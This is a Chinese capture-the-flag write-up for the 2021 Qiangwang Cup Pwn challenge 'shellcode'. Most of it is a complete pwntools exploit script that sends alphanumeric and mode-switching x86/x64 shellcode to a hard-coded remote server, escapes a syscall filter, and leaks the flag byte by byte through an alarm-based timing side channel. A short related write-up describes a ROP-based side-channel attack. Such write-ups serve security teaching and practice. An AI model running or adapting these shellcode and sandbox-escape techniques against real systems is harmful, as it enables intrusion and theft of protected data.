第五届强网杯 Pwn - shellcode

31pp3 2021-06-19 20:58:49 2304 0


模式切换shellcode,通过retf和retfq指令在x64和x86模式下切换,绕过系统调用号限制


因为有字符范围限制: (0x1f, 0x7f),所以可以先用点小技巧,先通过alpha_shellcode调用read自覆盖解除字符限制,然后通过读入的shellcode来mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)


最后读入一份orw的shellcode,orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag


exp:

from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"
    
    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"\x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload += asm(shellcode_mmap_raw)
    p.send(payload)
    
    #gdb.attach(p, "b *0x100001\nc\n")
    
    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000+flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"\x90")
    payload += asm(shellcode_open)
    payload += asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"\x90")
    payload += asm(shellcode_read)
    payload += asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)
    
    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag))
分类:PWN
image
作者:31pp3

2

提交

0

收入

相关WriteUP

  • 第五届强网杯 Pwn - no_output

    这是个非预期解法,预期解法最终getshell了,而我通过侧信道来逐字节爆破flag;题目预留了一个有栈溢出漏洞的handler函数,通过MIN_INT/-1触发异常进入handler。通过栈溢出部署ROP链:读入flag文件名“flag”打开flag文件把flag读入secret中读入即将被爆破的字节目标“X\x00”跳转到check函数通过判断flag指定字节与当前输入的字节是否相同,相同则程...

    • PWN
    • 2年前